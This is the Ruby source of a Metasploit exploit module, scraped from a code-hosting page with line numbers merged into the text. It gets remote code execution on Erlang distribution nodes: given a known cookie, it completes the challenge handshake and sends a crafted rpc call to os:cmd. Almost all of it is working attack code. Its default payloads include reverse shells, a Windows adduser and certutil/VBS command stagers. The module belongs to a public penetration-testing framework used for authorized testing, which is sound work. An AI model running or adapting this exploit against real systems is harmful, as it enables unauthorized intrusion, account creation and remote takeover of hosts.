Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/exploits/multi/misc/erlang_cookie_rce.rb
Views: 11623
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote6Rank = GreatRanking78include Msf::Exploit::Remote::Tcp9include Msf::Exploit::CmdStager1011def initialize(info = {})12super(13update_info(14info,15'Name' => 'Erlang Port Mapper Daemon Cookie RCE',16'Description' => %q{17The erlang port mapper daemon is used to coordinate distributed erlang instances.18Should an attacker get the authentication cookie RCE is trivial. Usually, this19cookie is named ".erlang.cookie" and varies on location.20},21'Author' =>22[23'Daniel Mende', # blog post article24'Milton Valencia (wetw0rk)', # metasploit module25],26'References' =>27[28['URL', 'https://insinuator.net/2017/10/erlang-distribution-rce-and-a-cookie-bruteforcer/']29],30'License' => MSF_LICENSE,31'Privileged' => 'false',32'Targets' =>33[34[ 'Unix',35'Platform' => 'unix',36'Arch' => ARCH_CMD,37'DefaultOptions' => {'PAYLOAD' => 'cmd/unix/reverse'},38],39[ 'Linux (CmdStager)',40'Type' => :cmdstager,41'Platform' => 'linux',42'Arch' => [ARCH_X64, ARCH_X86],43'CmdStagerFlavor' => ['printf', 'echo', 'bourne']44],45[ 'Windows',46'Platform' => 'win',47'Arch' => ARCH_CMD,48'DefaultOptions' => {'PAYLOAD' => 'cmd/windows/adduser'},49],50[ 'Windows (CmdStager)',51'Type' => :cmdstager,52'Platform' => 'win',53'Arch' => [ARCH_X64, ARCH_X86],54'CmdStagerFlavor' => ['certutil', 'vbs'],55'DefaultOptions' => {'PAYLOAD' => 'windows/shell/reverse_tcp'}56]57],58'DefaultTarget' => 0,59'DisclosureDate' => '2009-11-20', # https://github.com/erlang/otp/blob/master/lib/kernel/src/os.erl (history)60)61)6263register_options(64[65OptString.new('COOKIE', [ true, 'Erlang cookie to login with']),66Opt::RPORT(25672)67])68end6970def generate_challenge_digest(challenge)71challenge = challenge.unpack('H*')[0].to_i(16).to_s7273hash = Digest::MD5.new74hash.update(datastore['COOKIE'])75hash.update(challenge)7677vprint_status("MD5 digest generated: #{hash.hexdigest}")78return [hash.hexdigest].pack('H*')79end8081def execute_command(cmd, opts={})82# SEND: send the message to the node83send = "\x00\x00\x00" # Length:0x0000000084send << [(0x50 + cmd.length + @our_node.length*2).to_s(16)].pack('H*') #85send << "\x70" #86send << "\x83" # VERSION_MAGIC87send << "\x68" # SMALL_TUPLE_EXT (104)88send << "\x04" # Arity: 489send << "\x61" # SMALL_INTEGER_EXT90send << "\x06" # Int: 691send << "\x67" # PID_EXT (103)92send << "\x64\x00" # Node:93send << [(@our_node.length).to_s(16)].pack('H*') # Length: strlen(Node)94send << "#{@our_node}" # Node95send << "\x00\x00\x00\x03" # ID96send << "\x00\x00\x00\x00" # Serial97send << "\x00" # Creation98send << "\x64" # InternalSegmentIndex99send << "\x00\x00" # Len: 0x0000100send << "\x64" # InternalSegmentIndex101send << "\x00\x03" # Length: 3102send << "rex" # AtomText: rex103send << "\x83\x68\x02\x67\x64\x00" #104send << [(@our_node.length).to_s(16)].pack('H*') # Length: strlen(Node)105send << "#{@our_node}" # Node106send << "\x00\x00\x00\x03" # ID107send << "\x00\x00\x00\x00" # Serial108send << "\x00" # Creation109send << "\x68" # SMALL_TUPLE_EXT (104)110send << "\x05" # Arity: 5111send << "\x64" # InternalSegmentIndex112send << "\x00\x04" # Length: 4113send << "call" # AtomText: call114send << "\x64" # InternalSegmentIndex115send << "\x00\x02" # Length: 2116send << "os" # AtomText: os117send << "\x64" # InternalSegmentIndex118send << "\x00\x03" # Length: 3119send << "cmd" # AtomText: cmd120send << "\x6c" # LIST_EXT121send << "\x00\x00\x00\x01" # Length: 1122send << "\x6b" # Elements: k123send << "\x00" # Tail124send << [(cmd.length).to_s(16)].pack('H*') # strlen(Command)125send << cmd126send << "\x6a" # NIL_EXT127send << "\x64" # InternalSegmentIndex128send << "\x00\x04" # Length: 4129send << "user" # AtomText: user130sock.put(send)131end132133def exploit134connect135136@our_node = "#{rand_text_alphanumeric(6..12)}@#{rand_text_alphanumeric(6..12)}"137138# SEND_NAME: send initial identification of who "we" are139send_name = "\x00" # Length: 0x0000140send_name << [(@our_node.length+7).to_s(16)].pack('H*') #141send_name << "\x6e" # Tag: n142send_name << "\x00\x05" # Version: R6 (5)143send_name << "\x00\x07\x49\x9c" # Flags (0x0007499c)144# DFLAG_EXTENDED_REFERENCES (0x4)145# DFLAG_DIST_MONITOR (0x8)146# DFLAG_FUN_TAGS (0x10)147# DFLAG_NEW_FUN_TAGS (0x80)148# DFLAG_EXTENDED_PIDS_PORTS (0x100)149# DFLAG_NEW_FLOATS (0x800)150# DFLAG_SMALL_ATOM_TAGS (0x4000)151# DFLAG_UTF8_ATOMS (0x10000)152# DFLAG_MAP_TAG (0x20000)153# DFLAG_BIG_CREATION (0x40000)154send_name << "#{@our_node}" # <generated>@<generated>155156# SEND_CHALLENGE_REPLY: return generated digest and its own challenge157send_challenge_reply = "\x00\x15" # Length: 21158send_challenge_reply << "\x72" # Tag: r159160sock.put(send_name)161162# receive servers "SEND_CHALLENGE" token (4 bytes)163print_status("Receiving server challenge")164challenge = sock.get165challenge = challenge[14,4]166167send_challenge_reply << challenge168send_challenge_reply << generate_challenge_digest(challenge)169170print_status("Sending challenge reply")171sock.put(send_challenge_reply)172173if sock.get.length < 1174fail_with(Failure::UnexpectedReply, "Authentication Failed:#{datastore['COOKIE']}")175end176177print_good("Authentication successful, sending payload")178179print_status('Exploiting...')180if target['Type'] == :cmdstager181execute_cmdstager(:linemax => 100)182else183execute_command(payload.raw)184end185disconnect186end187end188189190